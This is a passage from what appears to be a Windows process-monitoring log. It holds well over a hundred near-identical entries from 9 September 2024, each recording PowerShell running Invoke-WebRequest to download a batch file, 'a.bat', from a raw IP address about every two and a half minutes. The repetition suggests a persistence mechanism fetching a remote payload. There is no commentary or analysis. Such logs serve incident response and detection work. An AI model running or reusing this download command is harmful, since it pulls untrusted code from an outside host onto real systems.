'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:10:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:12:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:15:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:17:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:20:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:22:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:25:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:27:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:30:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:32:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:35:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:37:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:40:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:42:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:45:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:47:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:50:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:52:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:55:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 05:57:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:00:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:02:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:05:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:07:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:10:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:12:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:15:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:17:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:20:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:22:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:25:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:27:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:30:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:32:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:35:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:37:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:40:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:42:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:45:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:47:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:50:20 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:52:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:55:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 06:57:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:00:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:02:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:05:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:07:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:10:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:12:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:15:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:17:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:20:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:22:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:25:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:27:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:30:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:32:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:35:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:37:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:40:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:42:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:45:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:47:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:50:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:52:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:55:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 07:57:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:00:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:02:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:05:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:07:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:10:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:12:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:15:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:17:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:20:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:23:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:25:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:28:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:30:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:33:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:35:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:38:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:40:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:43:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:45:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:48:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:50:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:53:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:55:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 08:58:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:00:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:03:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:05:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:08:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:10:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:13:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:15:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:18:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:20:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:23:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:25:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:28:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:30:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:33:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:35:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:38:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:40:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:43:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:45:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:48:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:50:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:53:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:55:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 09:58:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:00:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:03:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:05:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:08:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:10:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:13:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:15:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:18:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:20:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:23:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:25:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:28:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:30:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:33:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:35:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:38:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:40:45 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:43:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-09 10:45:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 